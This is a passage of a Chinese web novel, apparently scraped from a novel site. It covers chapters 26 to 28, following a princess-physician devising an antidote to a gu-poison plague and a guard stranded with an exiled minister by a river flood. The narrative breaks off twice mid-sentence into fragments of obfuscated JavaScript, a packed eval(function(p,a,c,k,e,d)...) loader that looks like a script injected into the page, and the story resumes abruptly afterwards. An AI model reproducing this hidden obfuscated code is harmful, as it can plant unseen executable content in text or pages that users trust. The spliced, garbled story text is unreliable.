央月教的十位手下,便眼睁睁目送着,这位一贯独行的女掌门,一人登山,败全教上下,现在又潇洒下山去也,她往来自在如临无人之境,自此之后,江湖第一高手的地位便更难撼动分毫。 “那么解药如何,你可有头绪?”肖遥海向石焉问道,“在所有的毒药门类中,虫蛊即是最独特而难以摸索的一种,若非明白其中原委的内行人,纵使是再高明的医者,也对中蛊者无法可施。” 他之所以这么说,是因为他自己便是后者。他虽神医之名遍扬天下,能治百病,亦对种种奇毒颇有研究,可即便他厉害如斯,却也对蛊束手无措,与其说蛊毒难医,不如说是蛊根本就不是常人所理解的疾病一类,要解蛊毒,只有靠下蛊者取蛊回神才行。 “好在如今得病的百姓并非被直接下蛊,而是沾染了蛊毒,这其中转了一个弯,便已然大不相同。”石焉道,“中蛊者往往沦为下蛊者的傀儡,除本人外无人可解,但对于中蛊毒者,只要是懂其规则的内行,即便不是下蛊者本人,也可解。” 她向肖遥海点点头,示意他放心。又道,“我今日回来后已研究了大半,只是偶有顿塞,心中又焦虑,才出去坐了会透透气。不过这会我好像又有些想法,或许需要试试,今晚便能有结果。” 肖遥海叹道,“我知道你爱拼命,但是今晚你还要出城去见屿王…” 两人一齐看向院门外的身影,顾念怀已经等候多时了。 轩窗没有糊纸,院门亦是一道虚设的月洞隔断,顾念怀站在其外,却与他们总似差着几道无形的桥,站在两边的人,一方想过桥,就要穿过这阵随来的风雨。 他站在那,时刻提醒着石焉,她与王公贵胄的距离是不可逾越的沟壑,她不能,也不应妄想改变桥的那头。就如这场大疫,早已不是一次救人的较量,而是一场政治的对决。 “今晚只怕我不能去了。” 26. 第五章第七节 亥时已过,顾念怀出了益州城门,便往营帐方向走。这中间约莫有个三里地的距离,往常每三日,他和石焉从城里出去,屿王同江南从主营大帐过来,双方各走一半,便能碰上面了。 此刻天色乌黑,雷鞭也停了,但空气闷干,只怕还有大雨未落。沈谛祝走在前去的路上,除了自己和江南的脚步声什么也听不见,他每次趁夜走在这块荒地上,心中都十分不安宁,唯独怕哪次对面会少来一个人,带上有某染病的消息。 直到今天他的视线中,确只出现了一个身影。那影子原本洇没在夜色里,叫人瞧不清楚。江南见到来者并非一男一女,心里一沉,却下意识还是往前了两步挡至屿王身前,以防来者是不识不善之人。 那身影随着一步步的走近而变得高大起来,身长挺拔,服色幽然,摆绣金鸟,正是顾念怀。 屿王急走几步,便要上前,对方却突然顿住了,又后退几步,他的声音传来,“殿下,郡主今日虽然没来,但她的规矩不可不遵,所有城内之人再要请见殿下,都须守七步之遥才好。” 他又见江南正犹疑无措地不知该如何开口询问,便立刻向他道,“不必担心。郡主没有染上疫症,她一切安好。” “那她为何没来?”屿王问道。 顾念怀转向屿王,面露忧色,他道,“殿下,郡主之所以没来,正是因为有一紧急之事,她托我来告知殿下。” “什么?” “大疫实是人祸,疫中,有蛊毒。” 屿王闻言确实吃了一惊,他一时间没说什么话,只是眉头慢慢拧得越来越深,双眼也眯敛起来。 顾念怀瞧见那双眸中倒映出自己严肃的身影,他看着自己的样子在对方瞳色中定格、摇晃,一如一个时辰前他刚得知大疫真相时落在石焉眼中的模样。 “顾大人,这件事你一定要保密。” 石焉把小顾叫进房后,便将自己和外公讨论出来的结果都告知了他,又在他临行前特意交代道。 “放心,我心里有数。”顾念怀神色凝重地道。 他恍然得知大疫背后的原因,更加觉得忧愁焦虑,瑶疆之地本就在边陲,地位一向敏感,那里素来几乎都是由央月教代皇朝管辖,百姓无一不是信仰央月教为圣教的,因此此刻央月教参合进祸害天朝子民的事里,简直是给当下的统治乱局又搅进了一颗意料之外的重棋。 “我指的是我有可能染上疫病这件事,你一定要保密。”石焉再道。 她心中已有了坚定的主意,就如刚刚将此事告诉肖遥海那时,她便想好了。 “今晚只怕我不能去了。” 肖遥海当时只是疑惑地看过来,他隐隐有一丝不好的感觉,因此没有接话,静静地等着石焉的下文。 “我之所以明明已经回到自己屋子…却到现在还一直不肯摘下面巾,是因为…我恐怕自己要染上毒疫了,怕传给您。” “什么?!” “刚才在廊下睡着时面巾曾被风吹掉,凝眸那时恰好经至,虽然我惊醒后就又已及时戴好,但凝眸…已经用手帮我抹过眼泪了。” “所以为了以防万一,我今晚还是不要去见屿王的好,他可以不惧危险,我却绝不能平添他的风险。现在一切不能确定,还是小心为上。” 石焉看肖遥海的脸色开始变差,便紧接着又道,“不过就目前的经验来看,这样子的接触,也不一定就会有问题。毕竟我们在东所,或许不经意间碰到的比这多多了,只是自己没注意到而已,不也一直没事吗?” “那是因为我们一直小心佩戴围纱,我可以确保至少你在我眼皮子底下的时候,从没有把自己的口鼻直接暴露在病人面前过。”肖遥海怒道,“怪不得方才说话间你一直闪闪躲躲似的。” 石焉只好半赔笑着,她隔着厚重的围纱,只露出一双疲惫的眼眸。她的声音带着安慰的笑意,眼角处还尚存着未干的泪迹。 “郡主放心,我一定将你交代的大疫之事如实转达,还有你可能染病之事,我也必定守口如瓶。”顾念怀道。 “好,你千万要记得,江南和兄长都不能告诉,只说今晚我是在研究解药才不能去赴约的便好。” 顾念怀看着故意与自己保持着一定距离的石焉,叹了口气,也答应了。 “研制解药…”沈谛祝听完顾念怀所述的来龙去脉,思虑道,“她有多少把握,解药可有头绪?制成耗时多久?还需哪些药材?” “郡主说药材已够,解药的思路她也已初步成形,想必今晚过去,明日便能拟出方子。”顾念怀如实转述道。 “嗯,好。此事务必保密,她没有告诉过别人吧?” “殿下放心,此事只有郡主和肖神医知道,赵将军的女儿也染了疫病,因此恐怕也要知会于他,至于其他益州大夫,均不知。” “很好,绝对不能让他们知道。明日有了解药后,不要过益州医士的手,全部由我们带来的太医给病人开服。” “遵命。”顾念怀抱拳行了个礼道,“殿下,还有一件事情。您一直挂心的郭大人,属下今日终于见到了。” “哦?”屿王的神色间终于露出了一瞬欣喜之意,他来此多日,总算出现了一个有用的消息。 “因为益州无州官之故,又兼大疫,郭大人并不在赵将军处登记在簿的居所,如今是在一间小茅屋中安住,属下在城中寻了十天才寻到。不过好在大人身体康健,未曾染病。” “太好了。”沈谛祝道,“你明天一早便把他送出城来。记住,秘密送出来,除了赵将军可以告知一声,别叫旁人瞧见他身份。明日卯时,还是此地,江南前来接应。” “是。” “是。” 从亥时到卯时,不过几个时辰,然而天色已从漆黑一片到天光乍现,此刻日月共当空,一轮圆月也在这片似火的日出中被映照成了大红色,两个圆盘双双挂在天边,昨晚看不见的城门与营帐现下也都在前后两头的视线里,只是晨雾朦胧,依旧看不真切,倒像青黄土地上平白起了一座海市蜃楼。 正是初秋时节,昨个半夜又降了一场暴雨,这时便明显感觉到天凉了,江南在便装外加穿了王府官服,又披了件黑色的单布斗篷,在此处约定好的地方等待郭大人出城。 他几乎不曾以屿王府属官的身份明示于人前,因此当他此刻身着黑色官服,腰佩蹀躞银带,前挂钩袋七事,侧悬铜铁刀鞘,出现在顾念怀视线中时,着实让他愣了一下不敢辨认。江南在他眼中,是一道时刻相随于屿王背后的影子,习惯了他神出鬼没、悄无影踪的样子,看他突然穿起与自己同样的服色站在晨光熹微之下,他才惊觉,对方明明也正该是个与自己一般行走在光明下的有为少年郎。 “我已和赵将军打好招呼,向看守说的是轿中坐的刘太医,今日要去向殿下禀报病情的。”顾念怀停好轿子,跳下车来向江南道。 “那真正的刘太医呢?” “放心,晚上我再套一辆空马车回城,就说禀报完回来了。至于刘太医本人,就让他今天先休息停值一天,明天再当班吧。” 两人相视一笑,顾念怀又道,“殿下对郭大人怎么安排?” 江南朝另一边空地扬了扬下巴,引他离轿走远几步,才说道,“咱们搭帐的营地并非是块密不透风的地方,而周围方圆几个城里,只有青州的王将军是殿下的心腹。殿下的意思是,让我接到人之后,直接送去青州,不回大营。” “明着送?”顾念怀上下打量了眼江南的行头,问道。 “对,这一路过去三天的路程,都是偏僻小城,像咱们这样的马车本就是稀罕物,普通百姓可不会雇,我若着民服,反倒引起注意,不若直接以屿王府的名义高调出行,一路通关也方便些。” “嗯,不错。郭大人被流放益州这么多年都活的平平安安,足以证明太子只意在削他军权,却根本不知道他手里的东西。而殿下现在这治疫众所周知,王将军是殿下的心腹也并非什么秘密,若益州大疫有什么需要,殿下派人载位知情的‘医士’去一趟附近的青州求助,这自然是顺理成章的。就算消息传去了太子那,他也只会这样以为。” “因此这次,我大可以光明正大地带人去青州。”说罢江南换了副神情,他脸上难得露出了狡黠的表情,轻松地笑道,“殿下说我从来没试过耍官威是什么感觉,我这次可得好好感受一下这身衣服的厉害。” 两人一并笑了一会,便各自出发了。 江南跨上马车,本想向郭大人自我介绍一番。他整了整披风,又专门取下腰侧佩刀,摆好造型,以刀鞘撩开轿帘,这可是他第一次有机会向人正儿八经地炫耀自己的官身,可他打帘一掀,便瞧见对方已半躺在软塌上睡的正香了。 得,耍官威的第一步就吃了个“闭眼羹”。 不过后面还有的是机会,江南自我安慰道。这是他第一次不用怀着沉重的负担去执行命令,也是第一次做的不是见不得人的差事,他此刻心情明媚,看什么人什么事都带着七分灿烂,自然不会被这样一小小的插曲影响。 他只把背上负的另一柄单刀,轻轻搁去轿厢里的人身侧,以防突发情况时郭大人也能自保一二。 好在第一天的路程如他所愿,不论是在官道驿站歇脚,还是途径两城通关验符,当地的兵士们兹见到其一身京城贵缎、腰畔带钩上更明晃晃一块屿王府的令牌,便二话不说地放车通行。 而当晚居住下榻的官栈,也因听闻江南所述轿中所载之人是负责益州大疫的医士,便一一都脸上捧着客套笑,实则却是能不打照面就不打照面地敬而远之。 郭大人挥挥衣袖表示他见得多了,进屋寻了软塌便呼呼大睡。不过即便如此,江南还是决定保持一份期盼,他提着兴致,和衣小心翼翼地躺下,尽量不弄皱披风与下摆,等着第二天的新旅程。 而毫无意外地,第二晚所到驿站的待遇与头一天一般无二,他刚落座在大堂准备要一桌好菜,接待小吏便堆着笑美其名曰“赶路辛苦房已备好劝君多歇绝不叨扰”,唯一与前一晚的不同是郭大人在听到这句话时终于因为没憋住而发出了一声似驴非骡的嗤笑声。 于是江南和郭大人在客房里度过了非常安静的一夜,如果后者那声不晓得是不是故意为之的嗤笑不算的话。 其实他们并不怕这些人瞧见郭大人的面孔,毕竟一个十年前流放的罪臣,除了那些远在京城的显贵,谁会知道他是谁?称其为医士,不过是一个最合理的借口。只是这些人的避之不及,大大减少了江南对这身衣服的兴奋体验罢了。 他以前不穿这衣服时,常觉得人情很冷,像那夜杭城湖边的风,倒下时就知道不会有人来问他生死,醒是自己醒,走是自己走。现在他穿上这身衣服,怎么还是觉得人情很冷呢?那些人挤出来的笑脸,并没比刀剑铁刃叫他觉得温暖多少。 第三天早上,两人离了驿站继续赶路,此地乃南郡地界,要至青州有两条路线。一者是离开官道,往下沿河岸旁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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跑!他脑子里只闪出了这一个字。江南快速钻进帘子,几乎是连抓带提地就将郭大人从睡梦中拽出了车厢,为防马惊失控,他率先跃上马背继续前奔,回身朝对方伸出一只手,道,“快上马!” 郭大人忽然被剧烈的动作惊醒,他正惶然不知所以,看江南急切地不时探头朝后方看去,以为是有土匪之流追杀在后,便也追随着他的目光扭头往后一探,这才知道哪里是什么追兵在后,分明是更加恐怖百倍的大水猛兽。 “大人!上马!”江南一手缠握好缰绳,另一手又往后递了些。 郭大人看清是长河决口,知道大水发作的厉害,此刻就是生死存亡之际。他经过两日的相处虽然对江南谈不上多了解,却绝不怀疑他的行事之能,因此即便他已十年未曾再骑过马,也还是伸出手去,立即朝行驶中的马背上跃去。 江南一握住他的手,便用力将其整个人都带上了马背来,郭大人也立刻双手紧扣在他腰前,牢牢把自己固定在江南的后座。 江南一边用小腿不断敲打马肚两侧,并不断加大力度,一边又拔出斜挂的佩刀,奋力往后一掷,刀锋随即割断连接马儿与车驾的绳索,和轿厢一道停留在了湿泥地里。 马匹脱离了车轿的拖累,迅速跑得快了起来。郭大人道,“长河决口,淹没这里也就是一会儿的事,咱们一直跑是跑不过大水的。下泥地!往北去!上山!” 他的声音沉着果断,叫江南丝毫没有犹豫,立刻就按他吩咐,调转马头,往北而去。洪水从西向东而来,若按地势下去,大部分都正合上江南原定的方向,虽青州势高,应当不会受到过多影响。但按他们眼下所处,要抵达青州还需半日路程,必然跑不过大水。而南面除了水芦与几里旷野,就是长河拐弯后的主河道。于是,往北上山,的确是唯一能活命的可能。 两人策马一路狂奔,等到了山脚跟前,只有一条小道勉强能容马通行,江南便立刻驭马沿此石路往上,刚往上几步,下头干道便被呼啸而经的洪水冲过,一路奔腾而去。 不敢多做停留,两人继续往上,只是坡路不平,马背上又驮着两个成年男子,走的颠颠簸簸十分不稳,然而到底已离了洪水主流,他干脆下马牵绳,只让郭大人坐在马上。 郭大人名少征,年五十又五,十年前亦是朝气风发,曾官拜兵部尚书兼枢密使,位尊势重,参与几乎全部机要。然而一朝得罪太子,遭到皇后、太子、和宦官李孩的联手构陷而流放边城。 如今他不过一介苟且偷生的罪臣,还比不得无名无姓的布衣百姓,因此他心里清楚这位姓江的少年一路照顾自己,无非是得了他主子屿王的令,而屿王,又无非是为了自己手里那叠足以颠倒朝堂的太子党的罪状书,虽然不知道他们是什么时候发现自己有这东西的。 郭少征看着江南让座于自己,又卖力牵马的背影,一心只以为他必定是因利而为之,所以对于他生死时刻伸出援手的举动虽有些感动,却并不能改变他对其的判断。十年苦寒,早已让他失去了对一切的信任,于凡事往往是以弊以害推算之。于是他在心中叹道,这孩子若不投在王公侯府,不熏得虚伪唯利这一套,凭他一身功夫,自可以去江湖上做个单纯开朗的自在游侠。 只可惜… “小兄弟,不用费力了。”郭少征对马下的人道。 “嗯?” “你上面那位要的东西,早已不在我身上了。”他果然看见江南的眉头皱了起来,便继续道,“刚才慌乱顾不得,所有纸卷和包袱一道全数落在那轿子中了!此刻怕已被洪流冲的不知去向了罢!” 江南立即回头望去,他眉头拧得更深,心道糟了。 方才不远处的泥地已然被淹没,那洪水上了平地便四散分开来,一味地往所有可以流上的地方冲去,此刻早已漫过自己所在的这座山脚下。 不行,去拿回来。 27. 第五章第八节 “这是解药的方子,你拿好。” 那是两天前的早晨。 石焉站在院内,隔着帘子伸出一只手去,她食指和中指间夹着的薄纸,上面写了密密麻麻的药材名称、所需用量、及分辨方法。 顾念怀站在院外,他刚送完江南与郭大人离开。这道月拱门本无门也无槛,昨晚他还在此处等待过,然而一夜过去,石焉已自行加装了厚重的布帘,让她的院落,成了将军府内一个暂时隔绝外界的所在。 “郡主,你身体如何了?”小顾问道。 “顾大人,我不瞒你。就昨晚过去我身体发出来的症状而言,我确实是染上了。”石焉站在帘子那头道,“麻烦你通知全府上下,除了你和我外公,旁人切勿靠近。” “这个自然。”顾念怀又道,“殿下昨夜听说你要一夜研制解药,休息都不得空,就已经很是感佩了。何况他不知你还带着病。” “这没什么。解药并不难配,我也没耗什么精神,只怪我之前一直没往这方面想,才拖到今天。”石焉提到此处深感自责,她叹了口气,又道,“药方上有许多新需的药材种类,大部分不太难备,只是其中我圈出的那几味,不仅益州没有,据我所知恐怕邻近的几个城镇也不会有,要请大人转告兄长,尽快去其他地方寻来。至于和故旧药方重叠的那些药材,益州都还有少量剩余,可毕竟也都不多了,要想配够每人每日服的药量,还需大大补充才行。” “你放心,殿下身边数百余号人,还有水帮的两条船,我们全都听你的号令,一切以配合你治好大疫为重。” 石焉轻声笑笑,“在我痊愈之前不会出这道院门,更没有什么号令,一切周转调度,请大人用心。” 顾念怀看布帘后的身影渐渐退去了,才转身离去。他手里握着薄薄一页宣纸,却觉得有千斤重,他知道纸上所书的每一个轻盈小楷背后,都是无数人等着的救命稻草。 “那是宣纸,不是牛皮!你想干嘛?你疯了吗?那纸遇水早就烂透了!” 那是两日后的下午。 郭少征看江南神色微动,颇有些要冲去洪水里拿回来的意思,赶紧俯下身拉住马绳,也拽住他的手,惊道。 “马车所用皆非沉木,车架是榆木,车辕子是水曲柳,没有咱俩坐在里面,车子浮起来的可能,也有万分之一。” “你为了一个万一就要去豁命,值得吗?!” 若是我自己一人,倒没什么不值得的,江南想。 可是现在。 他抬头看了郭少征一眼,重新牵回马绳,无奈轻声道,“我不去了,上山吧。” 此山竖看毗邻长河,平行蔓延,横观位于青州与南郡之间,是一座无人取名、无人著碑的荒山。 山下大水肆虐,已无退路,山上少有人至,或许还有野兽,若在这困上几天,生死可能,盖一半一半。然而江南心里愁的还不止这一件事,本要用来制衡太子的罪状陈情如今已失,更叫他不知如何才好。 两人一上一下走了半晌,离开脚下这条不足以称之为“路”的破石径,眼前终于出现了块适宜过夜的地方,他们已走进山深处了。 拴马,铺草,检查四周,清点干粮。江南一系列行动做的顺理成章,倒像经常在野地里留宿似的。他盘腿坐在厚草上,手习惯性地往腰间摸去,才意识到六袋里空空如也。 这身衣服虽然是屿王自封他校尉官身时就赐下的,但这称谓在王府只是官簿上的两个蝇头楷字,没人见过这位校尉,更没人知道原委,甚至那簿上的信息从姓名到身籍都无一真实,不过是屿王因当年招揽他入府效力曾许下的一个承诺而提前备下的个虚职罢了。 “早晚有一天本殿会给你一个能放在阳光之下的身份,让你堂堂正正走在世上,站在本殿身边。” 他一直记得这句话,即便真正的他,在王府是个根本就不存在的隐身人。满打满算穿上这身衣服也不过两三次,腰上的蹀躞带自然也只是一排装饰,里头什么日常用的物件也没有。 比如他眼下最需要的火折子。 “怪不得这一片没有人烟,”郭少征的声音掩盖了他轻轻的一句叹气,只听他在一旁也坐下了道,“十年前我经过此地的时候河两边都住着百姓,只是长河近年决口的越来越频繁,这一带看来就是决口的多发地带,所以百姓才大片搬离。” 他看了江南一眼,继续道,“你家殿下一手提拔的祝大人,不就是以善修水利而连连高升的吗?长河失理几年了却也未见他来插过手。怎么,当上了王爷的岳丈,就不愿理会俗务了吗?” 江南不知如何应对他的后半段话,只是发觉这位郭大人在车里竟然不仅没睡反而对一路的情景洞若观火,于是他自然地问道。 “您不是在车上睡着了吗?” “……” 虽然无言,但郭少征并不觉得他是在故意讽刺自己,因为对方眼神里的纯质,自己一眼便看到底了。这也是郭少征觉得奇怪的地方。屿王府的校尉,又被派来护送自己,高低也是个能得到屿王信任的近卫,就算不是个如顾念怀那般能说会道的,也不该是这般单纯。 他一路上装睡无非是不想搭理他,既是不想搭理关于朝廷纷争的一切,也是不喜一切功利熏心之人。在他眼中,太子是那样的人,屿王也没有什么区别,因此对于江南这样屿王的走狗,他更加不觉得能出什么淤泥而不染的善类。 所以他实在想不通这样的一个人,怎么会有如此简单的眼神,若不是他真的心无旁骛,那便是极度工于心计,甚至在自己之上的了。 “假寐总好过某些对百姓生死之事装聋作哑之流。”他道。 然而江南现在一心都在火折子上,在这个季节进深山老林,没有火是很难过夜的。他正忙着把全身上下又翻找了一遍,便没听清郭少征这句讽刺意味十足的话,在遍寻无果后只好又问道,“大人,您带火折子了吗?” “……” 什么牛头不对马嘴的。郭少征心里想道。他两次的对话都没有得到预想的回答,更加觉得此人城府颇深,正装出一副大智若愚的样子来塞衍自己。 “我随身什么都没带,全在马车里。你腰上没有吗?” 郭少征为官时十分熟悉那条蹀躞带,到了一定品级的武官身上往往都会佩戴,上挂刀子,荷包,火石袋,磨石,针筒等等,所谓蹀躞七事,几乎是囊括了官员日常需要的一切物品。然而眼前这位小大人的腰上,似乎是什么也没有。 江南闻言抱歉道,“我的在另一身衣服上。” 郭少征听到这话一下子就意识到了事情的严重性,没有火,没有工具,就会大大缩减他们能坚持活下来的时间。 “您别担心。”江南支起一条腿,半撑着身子道,“从益州到青州的路程大概是三天,如今已经过去两天半了,我原本把您送到后就要即刻回去复命的,也就是说,如果约三天半后我还没回到益州,殿下当天就一定会起疑。最好洪水的消息能早些传回去,殿下就会更直接猜测到我们是被洪水所困。而从益州到青州不过两条路,这条洪水难行,他们沿途设筏来寻,恐怕至少会花上三四天。” “最快,”他继续道,“只要七天,殿下就能救出我们。” “赈济洪涝自古都是要花大代价的。你怎么就那么确定你家殿下会带人来营救我们?”郭少征问道。 “因为您在这。” “因为你在这?” 两人几乎是异口同声。 “什么?”江南愣道。 这怎么可能是因为我的关系呢?江南想。屿王临出发前多次向他强调过郭少征的重要程度,而大帐里值得信任的且能派出去的人就他一个,因此就算他没命也要保郭少征一条命。至于洪水爆发,他也十分确信屿王一定会派人来营救他们,但这原因,他从未往自己身上想过,他理所当然,也心甘情愿认为一定是会为了救郭少征。 “因为我?呵呵,别忘了,我对于屿王来说有用的东西,已经丢了。”郭少征淡淡道。 “大人,在殿下心里,您这个人,比几张纸重要的多。” 这句话与其说是借了屿王的名义,不如说压根就是江南自己的信念。他心里最真实的想法正是如此,任他什么罪状书,份量难道还比得过眼前这个活生生的人吗? 好在两人怀里都还有些剩余的干粮,白天省着些吃,晚上就睡在相隔不远的两个草垫中,总算凑合着过了两日。 第三日,干粮也没了。 这天夜里,郭少征正蜷缩着刚睡着没一会,便被一阵突如其来的马鸣声惊醒,马儿叫的凄惨,让人不寒而栗,他抖地坐直起来,月色朦胧下,江南的草垫子上空空的,而向不远处看去,才发现他站在马旁,不知道在做什么。 “大人,你醒了。”他转过来道。 “刚才怎么了?” “草丛里有些响动,”江南向远处一指,道,“或许是山里的野兽,惊着马了,已经被我赶跑了。” “哦。”郭少征紧了紧身上盖的披风,道,“你没事儿吧?” “没事。大人放心,有我在,野兽近不了您的身。” “我知道你武功高,但兵胜在不仁之器。你身边唯一的大刀都丢了…”郭少征见江南回到草垫子上坐下,想到两天前躲避洪水逃命时的情景,一时也没有睡意了,便挪了挪位置,正对着他道,“话说那天也真是的,老夫虽然十年不曾征战,但也并非手不能提,你把刀递给我,我来割断拉轿子的引绳就是了,何必直接将刀掷出去废了呢?现在要是真遇到野兽,你连把匕首都没…” 他“有”字还未出口,就看见江南从左侧裤脚边与靴筒相合处抽出来一把匕首,“噌”地一声轻巧响动,匕首从鞘里被拔出一半,在月色映照下,转出一瞬利落冷光。 郭少征觉得自己真是无话可说,他每次稍微对这个少年冒出一丝好感,就会立刻被其不留情面的打回到原有的偏见认知中。 “在荒林里,还是小巧的匕首更实用些。”江南检查完匕首,将其插回鞘中,看向郭少征道,“抱歉大人,下次,我一定把刀递给你。” “可别!”郭少征背过身去,躺倒在自己的草垫子上,闷闷说了句“我可不想这样的事再有下次。”就睡去了。 次日早上,郭少征起来的时候就看见江南又是一副打坐的姿势,正盘腿坐在地上运功调息,他自己也是出身行伍的,知道这是在周转内力。 原本从益州出发以来,他天天见江南早晚各要运功一次,本也习惯了,可如今两人被困在这深山老林里,他还能日日坚持练功,如此精神,可远非常人能做到的。 郭少征心里又产生了一丝动摇,难道他能做到屿王的贴身亲信,当真不是由于城府相投,而是因为实打实的武功高强吗? “大人,您这样看着我做什么?” 江南运转完毕后,见郭少征盯着自己的眼神一会亮一会暗,一会有欣慰神色一会又鄙夷不已,实在忍不住问道。 “当然是想我们今天吃什么。”郭少征迅速接道,“要知道发大水能淹死的只是小部分,大部分人都是被围困、饥饿至死的。” “我去找点野果回来,您在这等我。” “我和你一起去。”郭少征说着就站起身来。 “您…”江南有些支吾其词,他尽可能让自己的语气婉转一些,然后道,“您走得太慢了。” 说罢他又补充道,“这山是荒山,不一定哪才能找到果子,少一个人消耗体力总是好的。” 郭少征知道江南说的在理,他也不再逞强,便答应了。 于是这天起的两天,两人依靠着江南每天采摘的野果,又勉强度了过去。肚子饿还只是一方面,身上冷才是更没办法的事,这才挨到第五日,他们的精神头就已经快到极限了,每日昏昏沉沉,能不说话就不说话,连睡觉都不敢睡久,生怕冻的失去知觉,就再也醒不过来了。 除两人以外唯一的伙伴——黑马,也只能跟着他们每天嚼些干草和野果,不过五日,马已经比人更加显眼地迅速消瘦了下去。而江南,也总是看着马儿发呆,不知道在想些什么。 这日傍晚,江南照例去寻找野果,回来时却发现,马不见了。 拴马的树下只剩下了一截皮绳,马则不知去向,他愣了一下,才带有询问地看向郭少征。 后者扶了一下额头,由于久不曾喝过干净的泉水,沙哑着嗓子道,“刚才我想给它解了绳子,遛着活动两圈,没想到它给了我一脚自己就跑了。” 郭少征说完看向江南。 他说了假话。 这几日他见后者常常站在马旁愣神,表情中似乎还有纠结之意,他便担心其在饿疯了的情况下,会企图杀了马,喝冷血,吃生肉。毕竟几日下来,他从没见过有什么野兽出没,那么两天前干粮刚没了的那日半夜,江南所谓的“野兽袭马”也就存疑,说不准是他想趁自己不觉而杀马取肉。 郭少征出身沙场,马对其有着不同的意义,他自诩也并非什么大发善心之辈,只是在没有火的情况下,杀马也无益,不如放它自寻生路去罢。 “哦,”江南看起来反应倒也平常,他走过来递给郭少征几个果子,才继续道,“我这两天也在想放了它,动物比人熟悉山林,我们活不下去的地方,它们却不一定。让它自己跑去,倒比跟着我们,更有一线生机。” 他的嗓子也由于过度缺水而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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荒山长久无人,几乎是没有适宜人能通行的路可言,江南在寻找食物的过程中曾在山里发现过另外一处适宜休息的地方,他此刻带着郭少征走在杂草丛生、枝蔓横斜的林子里,起初倒没什么,可直到走了半个时辰左右,后者体力越发不支,拉的江南的速度也不得不慢了下来,照此看去,要到预定地点,非得天黑不可。 “大人,我背你吧。” 江南说着就要蹲下来。可当他刚弯下腰,就顿住了,他发现郭少征的裤腿处,竟不知何时渗了许多血点出来。 后者此刻心力交瘁,疲劳之下也不想遮掩。江南蹲下后,把郭少征的一条腿抬起至自己膝上,只见其衬裤外侧被乱丛扎破了数个小洞,还有许多纵横斜跨的细缝,他伸手轻轻卷起对方的裤脚,才看到他的腿上,已经被荆棘划得满是伤痕了。这些伤痕虽然都很浅,也不甚疼痛,但数量却多,细细密密布在皮肤上,痒起来最是难耐。 他抬眼看看郭少征,对方只是自嘲地笑笑,这笑容牵起眼角的皱纹,却遮不住眼底的沧桑。 即便他自认为仍能马上提刀,也挡不住青春已逝、身骨俱退的事实。 江南知道他一言不发,忍着走了这许久,一定是步步煎熬。他心中感佩,没说什么,背上他,继续向预定的目的地而去。 路长且不平坦,两人往后走了许久,都一言不发。郭少征知道这几日水尽粮绝,两人心里也就提着最后一口气了,他不愿泄气,也怕江南泄气,他才刚刚对这个少年有了些许好感。 他低下头,就能看见江南身上这件金丝镶边的奢华官服,其实抛开现下身处的环境而言,这件衣服和眼前少年的气质,也是极不匹配的。并非高低贵贱之差,而是污与净之别。 “这身衣服不是你的吧?”郭少征趴在他背上,突然问道。 “什么?是我的啊,王府校尉,不都是这样的服制吗?”江南的声音逐渐弱了下来,他穿官服本就底气不足,浑身上下打哪都觉得不对劲,现在更不知道对方为什么要问起这身衣服。 “衣服是校尉的服制没错,可人不太像。” 江南不知所措地回头看看他,又低头看看身上由名贵锦缎制成的衣服,上面金色的绣线已经被这几天的尘土盖的有些发污了。 “我外表平平,的确有些衬不起这身衣服。” “是谁打压的你如此自卑?你的外表一点也不平庸,甚至可以说非常漂亮。若你也算外表平平,那老夫的这对招子就可以不要了。”郭少征无奈笑道,“当然,你如果不驼背自然能更好。” 江南下意识挺了挺脊背。 “哈哈哈哈。”郭少征放缓了语气又道,“外表不平庸,精神更不平庸,你是我见过最顽强的孩子。是我见过,在这种环境下还每天早晚坚持练功的唯一之人。” “你将来的成就,一定不止于此。”他又道。 这几天下来,两人虽总共说过的话加起来也没有几句,但至少也算是生死之交了,郭少征首次这样夸赞他,倒叫江南有些不好意思。 “大人过誉了。”他边走,边难为情地撇开话题道,“话说大人您会游泳吗?” “怎么?你还想游回去?” “扑哧”一声,两人一并笑了出来,江南这才意识到自己打岔的借口有多生硬,“我不是那个意思,我是……随便问问。” “我当然知道你不是那个意思,这座山所处的地势比南郡和青州都要低上不少,河道水量巨大,决口后往四周漫溢,到了此处又被山石堵截,流水聚集,不用看也知道,山下肯定贮水不浅。我们啊,是实实在在被困在这座山上了。” “大人英明。我头两日和昨天均下山看过,洪水未退,已成湖泊。”江南顿了顿,又道,“其实这都怪我,是我要带您走这条路的,如果当初走的是南郡,也就不会如此了。” “哼哼,你不是知道我在车里没睡吗?所以你走这条路,我心知肚明,也是我默许的,要错,也是我们二人共同的错。” 郭少征的年龄之于江南又像师父,又像父亲,尤其是他不苟言笑、嫌骂过他,却也关心、夸奖过他,这些都让江南在他的身上,找到了他对于“师父”定义中所缺失的另一半。 听到他这么说,江南总算觉得这几天一直堵在他心中的愧疚之意不再那么沉重,连此刻走路都觉得轻松了一些,甚至开起了玩笑道,“不过按照积水的深浅,倒也不难游。只是需要游个两天两夜才出得去水域罢了,河道把原本的路都淹了,要游出这片范围,恐怕都快到青州了。” “那可太好了,咱们两人也不用等救了!一起游它个两天两夜,奔青州去吧!” “哈哈哈哈!”两人一起笑道,即便他们的笑声断断续续,几乎是哑到听不出来,但二人胸膛与脊背相贴,颤动的身体不会说谎。从围困到现在,这是他们彼此解开了偏见和误解后,笑的最真诚的一次。 28. 第五章第九节 当日月交替的时候,代表时辰刚环过完整的一轮,当江南和郭少征盼星乞烛度日如年的时候,石焉和顾念怀还在益州为时间不够用而焦头烂额。 江南被困的第六日,石焉终于等来了第一批药材。 “外公,顾大人。”石焉紧了紧面上的围纱,她掀开院帘,将肖遥海和顾念怀迎了进来,三人边走边道。 “今日药材送到了,按照你拟的方子,每种药材各送来了十箱,一共一百二十箱。”顾念怀道。 石焉听罢道,“每种各十箱,那么分发给四个所之后,也只够一天的量。” 